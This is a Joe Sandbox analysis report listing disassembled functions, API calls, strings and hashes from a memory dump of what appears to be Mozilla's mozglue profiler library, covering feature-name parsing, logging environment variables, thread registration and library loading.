Instruction Fuzzy Hash: E022D771E006198FCB14CF98C880AADF7B2FF88304F6485AEC549A7745D731A986CF91

Function 6C595C10 Relevance: 1.6, APIs: 1, Instructions: 333COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(?,?,6C564A63,?,?), ref: 6C595F06

Memory Dump Source

Source File: 00000000.00000002.2225776766.000000006C551000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2225719498.000000006C550000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225886155.000000006C5CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225910942.000000006C5DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225932171.000000006C5E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: memcmp
String ID:
API String ID: 1475443563-0
Opcode ID: 8ef97583250808285031bede26460bee44c1c151f195b450b1c2b16ee64bf3ff
Instruction ID: 9841a9e82906c128d49631713a958d7bf59b8c1a7dd275ed59ee284c6318f23f
Opcode Fuzzy Hash: 8ef97583250808285031bede26460bee44c1c151f195b450b1c2b16ee64bf3ff
Instruction Fuzzy Hash: ACC1D375D012498BCB04CF55C9906DEBBF2FF89319F68429DD8556BB40D732A916CF80

Function 6C55DFE0 Relevance: .7, Instructions: 683COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2225776766.000000006C551000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2225719498.000000006C550000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225886155.000000006C5CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225910942.000000006C5DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225932171.000000006C5E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fd20a06a5c2540586833391d2dc9282ea97ef4c7b21c57a17d3e002a7d1740a4
Instruction ID: ba6f3d23ce00b8c098033e33acf4a92d6b58c3c32eb0594c27663d1f6019cd26
Opcode Fuzzy Hash: fd20a06a5c2540586833391d2dc9282ea97ef4c7b21c57a17d3e002a7d1740a4
Instruction Fuzzy Hash: 7442D472A087508BD304CE3CC89075AF3E2BFC9364F494B2EE999A7791D778D9518B81

Function 6C580512 Relevance: .5, Instructions: 466COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2225776766.000000006C551000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2225719498.000000006C550000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225886155.000000006C5CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225910942.000000006C5DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225932171.000000006C5E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction ID: eb232d70ba3c9ea49ffd605989dd7733309f90ea9e2d9bc4c7842cee2072fb44
Opcode Fuzzy Hash: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction Fuzzy Hash: 40222771E01629CFCB14CF98C890AADF7B2FF89304F54869AC54AA7705D730A986CF90

Function 6C5CAC00 Relevance: .4, Instructions: 445COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2225776766.000000006C551000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2225719498.000000006C550000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225886155.000000006C5CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225910942.000000006C5DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225932171.000000006C5E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3e49ac88d9d89c62ad80abb4c0153be0d31024f3e295ee916f9b166587a4dd23
Instruction ID: 0922fa6b6dbc5855f006867cfa0d6c33e913bd8ece917e0704fea0319049b629
Opcode Fuzzy Hash: 3e49ac88d9d89c62ad80abb4c0153be0d31024f3e295ee916f9b166587a4dd23
Instruction Fuzzy Hash: D8F13871B087458FD700CEA8CC913AABBE2AFC5318F158A2DE4D487781E7749889C793

Function 6C55C670 Relevance: .3, Instructions: 285COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2225776766.000000006C551000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2225719498.000000006C550000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225886155.000000006C5CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225910942.000000006C5DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225932171.000000006C5E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction ID: 54513acaca4092eae9cc65eb2d8b5a11446343a5aa1cf88b35bd4fbe5e963768
Opcode Fuzzy Hash: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction Fuzzy Hash: 11A1AF71F0021A8FDB08CE69C8913AEB7F2AFC9354F58812AD915E7781DB346D168B90

Function 6C597710 Relevance: .2, Instructions: 206COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2225776766.000000006C551000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2225719498.000000006C550000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225886155.000000006C5CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225910942.000000006C5DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225932171.000000006C5E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: Process$CurrentTerminate
String ID:
API String ID: 2429186680-0
Opcode ID: 63437c072cae352855930f559f945967ec3236b7b3c2de3c333c10057d1e62d6
Instruction ID: 462d9755011957b4f0bba3b2d76ea8399daca5c070f24161ed234c69209b0c8c
Opcode Fuzzy Hash: 63437c072cae352855930f559f945967ec3236b7b3c2de3c333c10057d1e62d6
Instruction Fuzzy Hash: 93716C75E012598FCF08CF98D8906EDBBB2FF89354F24816ED815AB740D731A905CB90

Function 6C59CC00 Relevance: 73.7, APIs: 25, Strings: 24, Instructions: 233
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,default,?,6C56582D), ref: 6C59CC27
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,java,?,?,?,6C56582D), ref: 6C59CC3D
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,6C5CFE98,?,?,?,?,?,6C56582D), ref: 6C59CC56
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,leaf,?,?,?,?,?,?,?,6C56582D), ref: 6C59CC6C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,mainthreadio,?,?,?,?,?,?,?,?,?,6C56582D), ref: 6C59CC82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileio,?,?,?,?,?,?,?,?,?,?,?,6C56582D), ref: 6C59CC98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileioall,?,?,?,?,?,?,?,?,?,?,?,?,?,6C56582D), ref: 6C59CCAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,noiostacks), ref: 6C59CCC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,screenshots), ref: 6C59CCDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,seqstyle), ref: 6C59CCEC
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,stackwalk), ref: 6C59CCFE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,jsallocations), ref: 6C59CD14
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nostacksampling), ref: 6C59CD82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,preferencereads), ref: 6C59CD98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nativeallocations), ref: 6C59CDAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,ipcmessages), ref: 6C59CDC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,audiocallbacktracing), ref: 6C59CDDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpu), ref: 6C59CDF0
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,notimerresolutionchange), ref: 6C59CE06
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpuallthreads), ref: 6C59CE1C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,samplingallthreads), ref: 6C59CE32
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,markersallthreads), ref: 6C59CE48
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,unregisteredthreads), ref: 6C59CE5E
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,processcpu), ref: 6C59CE74
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,power), ref: 6C59CE8A

Strings

seqstyle, xrefs: 6C59CCE6
markersallthreads, xrefs: 6C59CE42
fileio, xrefs: 6C59CC92
screenshots, xrefs: 6C59CCD4
cpuallthreads, xrefs: 6C59CE16
audiocallbacktracing, xrefs: 6C59CDD4
processcpu, xrefs: 6C59CE6E
power, xrefs: 6C59CE84
samplingallthreads, xrefs: 6C59CE2C
default, xrefs: 6C59CC21
Unrecognized feature "%s"., xrefs: 6C59CEA0
notimerresolutionchange, xrefs: 6C59CE00
nostacksampling, xrefs: 6C59CD7C
mainthreadio, xrefs: 6C59CC7C
leaf, xrefs: 6C59CC66
fileioall, xrefs: 6C59CCA8
preferencereads, xrefs: 6C59CD92
unregisteredthreads, xrefs: 6C59CE58
java, xrefs: 6C59CC37
stackwalk, xrefs: 6C59CCF8
nativeallocations, xrefs: 6C59CDA8
ipcmessages, xrefs: 6C59CDBE
noiostacks, xrefs: 6C59CCBE
jsallocations, xrefs: 6C59CD0E

Memory Dump Source

Source File: 00000000.00000002.2225776766.000000006C551000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2225719498.000000006C550000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225886155.000000006C5CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225910942.000000006C5DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225932171.000000006C5E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: strcmp
String ID: Unrecognized feature "%s".$audiocallbacktracing$cpuallthreads$default$fileio$fileioall$ipcmessages$java$jsallocations$leaf$mainthreadio$markersallthreads$nativeallocations$noiostacks$nostacksampling$notimerresolutionchange$power$preferencereads$processcpu$samplingallthreads$screenshots$seqstyle$stackwalk$unregisteredthreads
API String ID: 1004003707-2809817890
Opcode ID: bdcd54b84bdbf76518899b9b591da96df7e2ac5626df3779df31bdc3d93a2bf8
Instruction ID: 0d04b17ba2b9037a502c87ee27e8fff15c3284763e725a80e9951f75f7b34acc
Opcode Fuzzy Hash: bdcd54b84bdbf76518899b9b591da96df7e2ac5626df3779df31bdc3d93a2bf8
Instruction Fuzzy Hash: B951B7F1B453E552FA0171597D10BAA1408EF9324AF14547EED1BA1F90FB04FB0A86B7

Function 6C5647C0 Relevance: 49.2, APIs: 23, Strings: 5, Instructions: 232threadCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6C564801
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C564817
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C56482D
__Init_thread_footer.LIBCMT ref: 6C56484A

Part of subcall function 6C58AB3F: EnterCriticalSection.KERNEL32(6C5DE370,?,?,6C553527,6C5DF6CC,?,?,?,?,?,?,?,?,6C553284), ref: 6C58AB49
Part of subcall function 6C58AB3F: LeaveCriticalSection.KERNEL32(6C5DE370,?,6C553527,6C5DF6CC,?,?,?,?,?,?,?,?,6C553284,?,?,6C5756F6), ref: 6C58AB7C

GetCurrentThreadId.KERNEL32 ref: 6C56485F
GetCurrentThreadId.KERNEL32 ref: 6C56487E
AcquireSRWLockExclusive.KERNEL32(6C5DF4B8), ref: 6C56488B
free.MOZGLUE(?), ref: 6C56493A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C564956
free.MOZGLUE(00000000), ref: 6C564960
ReleaseSRWLockExclusive.KERNEL32(6C5DF4B8), ref: 6C56499A

Part of subcall function 6C58AB89: EnterCriticalSection.KERNEL32(6C5DE370,?,?,?,6C5534DE,6C5DF6CC,?,?,?,?,?,?,?,6C553284), ref: 6C58AB94
Part of subcall function 6C58AB89: LeaveCriticalSection.KERNEL32(6C5DE370,?,6C5534DE,6C5DF6CC,?,?,?,?,?,?,?,6C553284,?,?,6C5756F6), ref: 6C58ABD1

free.MOZGLUE(?), ref: 6C5649C6
free.MOZGLUE(?), ref: 6C5649E9

Part of subcall function 6C575E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C575EDB
Part of subcall function 6C575E90: memset.VCRUNTIME140(ew[l,000000E5,?), ref: 6C575F27
Part of subcall function 6C575E90: LeaveCriticalSection.KERNEL32(?), ref: 6C575FB2

Strings

MOZ_BASE_PROFILER_LOGGING, xrefs: 6C564828
[I %d/%d] profiler_shutdown, xrefs: 6C564A06
MOZ_PROFILER_SHUTDOWN, xrefs: 6C564A42
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C5647FC
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C564812

Memory Dump Source

Source File: 00000000.00000002.2225776766.000000006C551000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2225719498.000000006C550000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225886155.000000006C5CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225910942.000000006C5DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225932171.000000006C5E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: CriticalSection$free$EnterLeavegetenv$CurrentExclusiveLockThread$AcquireInit_thread_footerReleasememset
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_SHUTDOWN$[I %d/%d] profiler_shutdown
API String ID: 1340022502-4194431170
Opcode ID: ba3d8c905987a52cd8c613e1276eff618f1473e68452c8b3462ec4e7d2d91e14
Instruction ID: fc029eb266c831433f564fd12b5baa03aac1a4d500de6597531181c91a10c47a
Opcode Fuzzy Hash: ba3d8c905987a52cd8c613e1276eff618f1473e68452c8b3462ec4e7d2d91e14
Instruction Fuzzy Hash: 0381F171A00200DBDB10DF2ACC6475A37B6EF82329F560629D91697F61E731F884CB9E

Function 6C564470 Relevance: 45.7, APIs: 20, Strings: 6, Instructions: 178libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C564730: GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6C5644B2,6C5DE21C,6C5DF7F8), ref: 6C56473E
Part of subcall function 6C564730: GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6C56474A

GetModuleHandleW.KERNEL32(WRusr.dll), ref: 6C5644BA
LoadLibraryW.KERNEL32(kernel32.dll), ref: 6C5644D2
InitOnceExecuteOnce.KERNEL32(6C5DF80C,6C55F240,?,?), ref: 6C56451A
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C56455C
LoadLibraryW.KERNEL32(?), ref: 6C564592
InitializeCriticalSection.KERNEL32(6C5DF770), ref: 6C5645A2
moz_xmalloc.MOZGLUE(00000008), ref: 6C5645AA
moz_xmalloc.MOZGLUE(00000018), ref: 6C5645BB
InitOnceExecuteOnce.KERNEL32(6C5DF818,6C55F240,?,?), ref: 6C564612
?IsWin32kLockedDown@mozilla@@YA_NXZ.MOZGLUE ref: 6C564636
LoadLibraryW.KERNEL32(user32.dll), ref: 6C564644
memset.VCRUNTIME140(?,00000000,00000114), ref: 6C56466D
VerSetConditionMask.NTDLL ref: 6C56469F
VerSetConditionMask.NTDLL ref: 6C5646AB
VerSetConditionMask.NTDLL ref: 6C5646B2
VerSetConditionMask.NTDLL ref: 6C5646B9
VerSetConditionMask.NTDLL ref: 6C5646C0
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6C5646CD
GetModuleHandleW.KERNEL32(00000000), ref: 6C5646F1
GetProcAddress.KERNEL32(00000000,NativeNtBlockSet_Write), ref: 6C5646FD

Strings

NativeNtBlockSet_Write, xrefs: 6C5646F7
G]l, xrefs: 6C5644FC
WRusr.dll, xrefs: 6C5644B5
kernel32.dll, xrefs: 6C5644CD
l, xrefs: 6C564578
user32.dll, xrefs: 6C564557, 6C56463F

Memory Dump Source

Source File: 00000000.00000002.2225776766.000000006C551000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2225719498.000000006C550000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225886155.000000006C5CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225910942.000000006C5DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225932171.000000006C5E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: ConditionMask$HandleModuleOnce$LibraryLoad$AddressExecuteInitProcmoz_xmalloc$CriticalDown@mozilla@@InfoInitializeLockedSectionVerifyVersionWin32kmemset
String ID: G]l$NativeNtBlockSet_Write$WRusr.dll$kernel32.dll$l$user32.dll
API String ID: 1702738223-1023141753
Opcode ID: 5609c24b83fad681593a242cfd5a97e0aee11f11e85163630dbe5d3f154ab05a
Instruction ID: 42316d7fb6b1dad9f4958caeee4e3824eccc701416f8d1a4e3092c7a166a2ace
Opcode Fuzzy Hash: 5609c24b83fad681593a242cfd5a97e0aee11f11e85163630dbe5d3f154ab05a
Instruction Fuzzy Hash: 6B61D7B0600344AFEB10DF65CC09B957BF8EF46308F06C659E5059BA61D7B0AA85CF5E

Function 6C59F6E0 Relevance: 35.2, APIs: 16, Strings: 4, Instructions: 235threadstringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C599420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C564A68), ref: 6C59945E
Part of subcall function 6C599420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C599470
Part of subcall function 6C599420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C599482
Part of subcall function 6C599420: __Init_thread_footer.LIBCMT ref: 6C59949F

GetCurrentThreadId.KERNEL32 ref: 6C59F70E
??$AddMarker@UTextMarker@markers@baseprofiler@mozilla@@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@baseprofiler@mozilla@@YA?AVProfileBufferBlockIndex@1@ABV?$ProfilerStringView@D@1@ABVMarkerCategory@1@$$QAVMarkerOptions@1@UTextMarker@markers@01@ABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@Z.MOZGLUE ref: 6C59F8F9

Part of subcall function 6C566390: GetCurrentThreadId.KERNEL32 ref: 6C5663D0
Part of subcall function 6C566390: AcquireSRWLockExclusive.KERNEL32 ref: 6C5663DF
Part of subcall function 6C566390: ReleaseSRWLockExclusive.KERNEL32 ref: 6C56640E

ReleaseSRWLockExclusive.KERNEL32(6C5DF4B8), ref: 6C59F93A
GetCurrentThreadId.KERNEL32 ref: 6C59F98A
GetCurrentThreadId.KERNEL32 ref: 6C59F990
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C59F994
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C59F716

Part of subcall function 6C5994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5994EE
Part of subcall function 6C5994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C599508

Part of subcall function 6C55B5A0: memcpy.VCRUNTIME140(?,?,?,?,00000000), ref: 6C55B5E0

GetCurrentThreadId.KERNEL32 ref: 6C59F739
AcquireSRWLockExclusive.KERNEL32(6C5DF4B8), ref: 6C59F746
GetCurrentThreadId.KERNEL32 ref: 6C59F793
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,6C5D385B,00000002,?,?,?,?,?), ref: 6C59F829
free.MOZGLUE(?,?,00000000,?), ref: 6C59F84C
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?," attempted to re-register as ",0000001F,?,00000000,?), ref: 6C59F866
free.MOZGLUE(?), ref: 6C59FA0C

Part of subcall function 6C565E60: moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C5655E1), ref: 6C565E8C
Part of subcall function 6C565E60: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C565E9D
Part of subcall function 6C565E60: GetCurrentThreadId.KERNEL32 ref: 6C565EAB
Part of subcall function 6C565E60: GetCurrentThreadId.KERNEL32 ref: 6C565EB8
Part of subcall function 6C565E60: strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C565ECF
Part of subcall function 6C565E60: moz_xmalloc.MOZGLUE(00000024), ref: 6C565F27
Part of subcall function 6C565E60: moz_xmalloc.MOZGLUE(00000004), ref: 6C565F47
Part of subcall function 6C565E60: GetCurrentProcess.KERNEL32 ref: 6C565F53
Part of subcall function 6C565E60: GetCurrentThread.KERNEL32 ref: 6C565F5C
Part of subcall function 6C565E60: GetCurrentProcess.KERNEL32 ref: 6C565F66
Part of subcall function 6C565E60: DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6C565F7E

free.MOZGLUE(?), ref: 6C59F9C5
free.MOZGLUE(?), ref: 6C59F9DA

Strings

[D %d/%d] profiler_register_thread(%s), xrefs: 6C59F71F
" attempted to re-register as ", xrefs: 6C59F858
[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s, xrefs: 6C59F9A6
Thread , xrefs: 6C59F789

Memory Dump Source

Source File: 00000000.00000002.2225776766.000000006C551000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2225719498.000000006C550000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225886155.000000006C5CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225910942.000000006C5DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225932171.000000006C5E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: Current$Thread$ExclusiveLockfree$getenvmoz_xmallocstrlen$AcquireD@std@@MarkerProcessReleaseTextU?$char_traits@V?$allocator@V?$basic_string@_getpid$BlockBufferCategory@1@$$D@1@D@2@@std@@@D@2@@std@@@baseprofiler@mozilla@@DuplicateHandleIndex@1@Init_thread_footerMarker@Marker@markers@01@Marker@markers@baseprofiler@mozilla@@Now@Options@1@ProfileProfilerStamp@mozilla@@StringTimeV12@_View@__acrt_iob_func__stdio_common_vfprintfmemcpy
String ID: " attempted to re-register as "$Thread $[D %d/%d] profiler_register_thread(%s)$[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s
API String ID: 882766088-1834255612
Opcode ID: fe63cdd7e690859c75c27f9ee11118ce86bbdb0459799db7353629a2b926e988
Instruction ID: 9afac1ff4b5b5b0e2887eff124973a7b0f798bd6a812fd09a82cf3ceeb080176
Opcode Fuzzy Hash: fe63cdd7e690859c75c27f9ee11118ce86bbdb0459799db7353629a2b926e988
Instruction Fuzzy Hash: 8D81CF71604340DFDB10EF24CC44AAAB7B5EFC5308F5546ADE8499BB51EB30AC49CBA6

Function 6C59EE40 Relevance: 33.4, APIs: 17, Strings: 2, Instructions: 166threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C599420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C564A68), ref: 6C59945E
Part of subcall function 6C599420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C599470
Part of subcall function 6C599420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C599482
Part of subcall function 6C599420: __Init_thread_footer.LIBCMT ref: 6C59949F

GetCurrentThreadId.KERNEL32 ref: 6C59EE60
AcquireSRWLockExclusive.KERNEL32(6C5DF4B8), ref: 6C59EE6D
ReleaseSRWLockExclusive.KERNEL32(6C5DF4B8), ref: 6C59EE92
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C59EEA5
CloseHandle.KERNEL32(?), ref: 6C59EEB4
free.MOZGLUE(00000000), ref: 6C59EEBB
GetCurrentThreadId.KERNEL32 ref: 6C59EEC7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C59EECF

Part of subcall function 6C59DE60: GetCurrentThreadId.KERNEL32 ref: 6C59DE73
Part of subcall function 6C59DE60: _getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6C564A68), ref: 6C59DE7B
Part of subcall function 6C59DE60: ?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6C564A68), ref: 6C59DEB8
Part of subcall function 6C59DE60: free.MOZGLUE(00000000,?,6C564A68), ref: 6C59DEFE
Part of subcall function 6C59DE60: ?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6C59DF38

Part of subcall function 6C58CBE8: GetCurrentProcess.KERNEL32(?,6C5531A7), ref: 6C58CBF1
Part of subcall function 6C58CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C5531A7), ref: 6C58CBFA

GetCurrentThreadId.KERNEL32 ref: 6C59EF1E
AcquireSRWLockExclusive.KERNEL32(6C5DF4B8), ref: 6C59EF2B
ReleaseSRWLockExclusive.KERNEL32(6C5DF4B8), ref: 6C59EF59
GetCurrentThreadId.KERNEL32 ref: 6C59EFB0
AcquireSRWLockExclusive.KERNEL32(6C5DF4B8), ref: 6C59EFBD
ReleaseSRWLockExclusive.KERNEL32(6C5DF4B8), ref: 6C59EFE1
GetCurrentThreadId.KERNEL32 ref: 6C59EFF8
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C59F000

Part of subcall function 6C5994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5994EE
Part of subcall function 6C5994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C599508

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C59F02F

Part of subcall function 6C59F070: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C59F09B
